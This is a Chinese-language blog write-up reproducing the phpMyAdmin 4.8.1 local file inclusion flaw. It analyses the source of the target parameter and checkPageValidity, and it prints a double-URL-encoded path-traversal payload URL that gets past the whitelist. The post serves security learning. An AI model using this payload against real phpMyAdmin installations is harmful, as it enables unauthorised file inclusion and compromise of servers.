环境搭建

在Windows下使用phpstudy搭建
apache版本：2.4.39
php版本：5.6.9
mysql版本：5.7.26
phpmyadmin 4.8.1下载：https://www.exploit-db.com/exploits/50457
使用composer进行安装
 

漏洞复现

首先在phpmyadmin根目录上一级创建phpinfo.php

然后登陆phpmyadmin，访问/index.php?target=db_sql.php%253f%2F..%2F..%2Fphpinfo.php

 

源码分析

index.php

查看根目录下，index.php中target参数相关代码

/*
 * Black list of all scripts to which front-end must submit data.
 * Such scripts must not be loaded on home page.
 *
 */
$target_blacklist = array (    //黑名单
    'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])      //需要是字符串
    && ! preg_match('/^index/', $_REQUEST['target'])    //不能以index开头
    && ! in_array($_REQUEST['target'], $target_blacklist)    //黑名单
    && Core::checkPageValidity($_REQUEST['target'])     //白名单过滤，函数见下文
) {
    include $_REQUEST['target'];
    exit;
}

Core::checkPageValidity

Core::checkPageValidity方法位于libraries/classes/Core.php中443行，此函数作用为判断?前面的内容是否在白名单中，是则返回true。但是函数并没有对输入的参数做修改，截取的结果都保存在$_page中，所以target只需前面为白名单&%3F或者白名单%253F就可以绕过Core::checkPageValidity方法的白名单检测。

    /**
     * boolean phpMyAdmin.Core::checkPageValidity(string &$page, array $whitelist)
     *
     * checks given $page against given $whitelist and returns true if valid
     * it optionally ignores query parameters in $page (script.php?ignored)
     *
     * @param string &$page     page to check
     * @param array  $whitelist whitelist to check page against
     *
     * @return boolean whether $page is valid or not (in $whitelist or not)
     */
    public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {        //没有传入$whitelist
            $whitelist = self::$goto_whitelist;     //$goto_whitelist见下文
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {      //判断是否在白名单
            return true;
        }

        $_page = mb_substr(         //截取？前面的内容
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {     //判断是否在白名单
            return true;
        }

        $_page = urldecode($page);         //url解码
        $_page = mb_substr(      //截取？前面的内容
            $_page,
            0,
            mb_strpos($_page . '?', '?')  
        );
        if (in_array($_page, $whitelist)) {    //判断是否在白名单
            return true;
        }

        return false;
    }

self::$goto_whitelist

/**
     * the whitelist for goto parameter
     * @static array $goto_whitelist
     */
    public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
    );

分析总结

从整体分析来看，target参数传入后，只对其做了黑白名单判断，并没有修改target的值，通过判断后直接传入include()中进行文件包含。在Core::checkPageValidity方法中，直接导致文件包含漏洞的原因是，使用了一次urldecode进行裁剪判断。虽然直接传入/index.php?target=db_sql.php%3F/../../phpinfo.php也可以绕过Core::checkPageValidity的检测，但是当到了include中，就变成了include('db_sql.php?/../../phpinfo.php')，此时db_sql.php?/不会作为目录解析，include会返回错误。

但是由于Core::checkPageValidity中使用了urldecode进行检测，便可以使用双重url编码，传入/index.php?target=db_sql.php%253F/../../phpinfo.php，到include时，就变成了include('db_sql.php%3F/../../phpinfo.php')，db_sql.php%3F/作为目录解析，所以可以成功实现本地任意文件包含。

标签：phpMyAdmin,php,target,whitelist,db,4.8,tbl,CVE,page
来源： https://www.cnblogs.com/CabbageJun/p/15612137.html